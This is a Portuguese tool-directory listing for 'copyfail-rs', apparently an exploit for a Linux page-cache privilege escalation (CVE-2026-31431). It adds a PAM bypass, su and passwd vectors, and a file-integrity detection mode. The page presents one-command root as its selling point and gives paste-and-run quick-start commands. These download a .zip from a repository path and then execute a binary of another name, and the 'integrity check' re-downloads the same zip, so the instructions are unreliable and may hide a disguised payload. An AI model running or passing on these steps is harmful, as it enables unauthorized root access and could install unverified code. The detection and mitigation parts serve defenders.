Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
copyfail-rs — Explorar e detectar vulnerabilidades CVE-2026-31431 usando um binário estático que monitora a integridade do sistema e contorna a autenticação PAM. | Kitploit
Ferramentas/GitHubGitHub/liverwortenuresis371/copyfail-rs
Escalada de PrivilégiosForensia de MemóriaAnálise de VulnerabilidadesExploraçãoAnálise ForenseTestes de PenetraçãoAutenticaçãoRed TeamingResposta a Incidentes

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Exploração de Binários
GitHubliverwortenuresis371/copyfail-rs

copyfail-rs

Explorar e detectar vulnerabilidades CVE-2026-31431 usando um binário estático que monitora a integridade do sistema e contorna a autenticação PAM.

Ver Repositório
5há 2 diasAinda não revisado

copyfail-rs

Prova de conceito multivetor + detecção pareada para CVE-2026-31431 (CopyFail). Inclui um novo vetor de bypass de autenticação PAM que nenhum outro PoC público possui. O modo de detecção captura o que AIDE / Wazuh / OSSEC / Tripwire estruturalmente não conseguem.

Binário estático único. ~108 KB. no_std musl.

Demonstração

root@kitploit:~
noot@host:~$ ./copyfail-rs --mode exploit
[sudo] password for noot:
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@host:~#

Um comando. Shell root. PAM killshot por baixo dos panos (uma única escrita de 4 bytes em /etc/pam.d/common-auth), queda de PTY para root via sudo com senha descartada. A linha [sudo] password for noot: pisca brevemente, o sudo sempre exibe esse prompt; o binário alimenta qualquer string e a falha do pam_unix cascateia através do pam_deny.so comentado para pam_permit.so → root.

root@kitploit:~
$ ./copyfail-rs --mode detect --scan
=== copyfail-rs detection: --scan ===

TAMPERED (1):
  /etc/pam.d/common-auth [ext4]
    cache:  23c4f1ee...  ← o que está realmente carregado (mutado)
    disk:   117dab1c...  ← o que AIDE / Wazuh / Tripwire veem (limpo)

Esse é o projeto. Disco limpo, cache mutado. Todo FIM público é cego. Esta ferramenta não é.

Início rápido (sem necessidade de compilação)

Binários estáticos pré-compilados no release v0.1.0. Escolha sua arquitetura, baixe, execute.

root@kitploit:~
# x86_64 (maioria dos laptops + servidores em nuvem)
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
chmod +x copyfail-x86_64-musl
./copyfail-x86_64-musl --mode exploit

Outras arquiteturas:

ArchArquivo
ARM64 (aarch64)copyfail-aarch64-musl
ARMv7 (Raspberry Pi 3+)copyfail-armv7-musleabihf

Verifique a integridade:

root@kitploit:~
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
sha256sum -c checksums.txt

Binários musl estáticos, sem dependências em tempo de execução, funcionam em qualquer Linux.

Por que o FIM é cego

Mutação no cache de página. Sem escrita no VFS. Sem página suja. Sem evento inotify. A reescrita periódica corre contra a evicção.

AIDE/Wazuh/OSSEC/Tripwire/Samhain leem via I/O bufferizado → cache de página → fazem hash dos bytes mutados como verdade. Ou após evicção, fazem hash do disco limpo → "nenhuma alteração jamais ocorreu."

A detecção precisa de O_DIRECT (pular cache) + leitura bufferizada (atingir cache) + diff de hash. Incompatibilidade = assinatura CopyFail. É isso que --scan faz.

Vetores

Seleção automática: --vector auto (padrão). Prioriza pam > su > passwd por furtividade. Recua em caso de falha.

Detecção

--json em todos os lugares para ingestão em SIEM.

Artefatos de detecção

detection/:

  • sigma/copyfail-af-alg.yml, regra Sigma, coloque em seu SIEM
  • auditd/copyfail.rules, augenrules --load
  • ebpf/copyfail-trace.bt, one-liner bpftrace
  • apparmor/copyfail-block.profile, regra de negação AppArmor 3.0+
  • mitigation/disable-algif.sh, blacklist modprobe + aviso =y

Mitigação

root@kitploit:~
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead

Ou kernel mainline a664bf3d603d (abril de 2026). Atualmente: apenas Debian Sid/Forky lançou. Ubuntu LTS, RHEL, SUSE, Amazon Linux, Fedora, Arch, Oracle = todos vulneráveis.

Ressalva: CONFIG_CRYPTO_USER_API_AEAD=y (embutido) ignora silenciosamente o modprobe. --check avisa.

Após exploit + mitigação: a mutação no cache persiste até a reinicialização. A mitigação bloqueia NOVOS exploits, não desfaz os anteriores.

Build

root@kitploit:~
cargo build --release --target x86_64-unknown-linux-musl
AlvoTamanho
x86_64-musl108 KB
aarch64-musl96 KB
armv7-musleabihf86 KB

no_std. Sem alocador. Sem dependências em tempo de execução. Binário estático único.

Artefatos pré-compilados e somas SHA256 anexados aos releases do GitHub.

Uso

Veja docs/usage.md para exemplos concretos de uma tela por modo (exploit auto/list/all, detect check/scan/baseline/diff/watch/hunt).

Para uma versão narrativa mais longa deste README (mais contexto, exposição mais profunda), veja BLOG.md.

Modelo de ameaça

Veja docs/threat-model.md.

Comparação

Autorização e ética

Apenas hardware próprio. Sem trava CLI (teatro de segurança). README + LICENSE = o arcabouço.

O modo de detecção é somente leitura. Seguro em produção.

O modo exploit muta o cache de página do kernel. Apenas na RAM, mas trate como destrutivo. Bloqueia autenticação para qualquer chamador subsequente.

Créditos

CVE-2026-31431 divulgada por Theori / Xint em 29/04/2026 (writeup, blog Xint). PoCs públicos anteriores:

  • theori-io/copy-fail-CVE-2026-31431 (Python, 732 bytes, vetor su)
  • tgies/copy-fail-c (C com nolibc, vetores su + passwd, portável)
  • badsectorlabs/copyfail-go (binário Go estático, vetor su)

Este projeto (copyfail-rs): adiciona o vetor de bypass de autenticação PAM, detecção de modo duplo, artefatos de IR.

Licença

MIT.

Referências

  • https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
  • Correção do Linux: a664bf3d603d
  • Piso: 72548b093ee3 (4.14, ago/2017)
  • Análogo: Dirty Pipe (CVE-2022-0847)
Baixar ferramenta
VetorAlvoOnde atinge
pam (NOVO)/etc/pam.d/common-auth (Debian/Ubuntu) ou system-auth (Fedora/RHEL/Arch)4 bytes. auth requisite pam_deny.so → #aut requisite pam_deny.so. Sudo com qualquer senha = root.
su/usr/bin/suMuta o texto do binário setuid. execve → root.
passwd/etc/passwdInversão de UID → usuário vira root no próximo login. Quebra SSH para esse usuário.
ModoO que faz
--checkKernel + módulo + CONFIG_CRYPTO_USER_API_AEAD + status de mitigação. Veredito: vulnerável / mitigado / seguro.
--scanDiferença entre leitura O_DIRECT e bufferizada em arquivos críticos. Ramificado por statfs(): ext4/xfs/btrfs usam O_DIRECT, overlayfs recua, tmpfs é ignorado.
--baseline / --diffCaptura instantânea do estado conhecido como limpo. Difere depois. Deltas apenas no cache = a impressão digital do CopyFail.
--watchDaemon. Varredura periódica. SIGTERM limpo.
--huntVarredura de frota SSH. Agregados JSON.
Theori Pythontgies Cbadsectorlabs Gocopyfail-rs
Vetoressusu + passwdsusu + passwd + PAM (novo)
Detecçãonenhumanenhumanenhumacompleto --mode detect
Artefatos de IRnenhumnenhumnenhumSigma + auditd + eBPF + AppArmor
UX do operador3 comandos4 comandos5 comandos1 comando
Binárioprecisa de Python~10 KB~5 MB~108 KB estático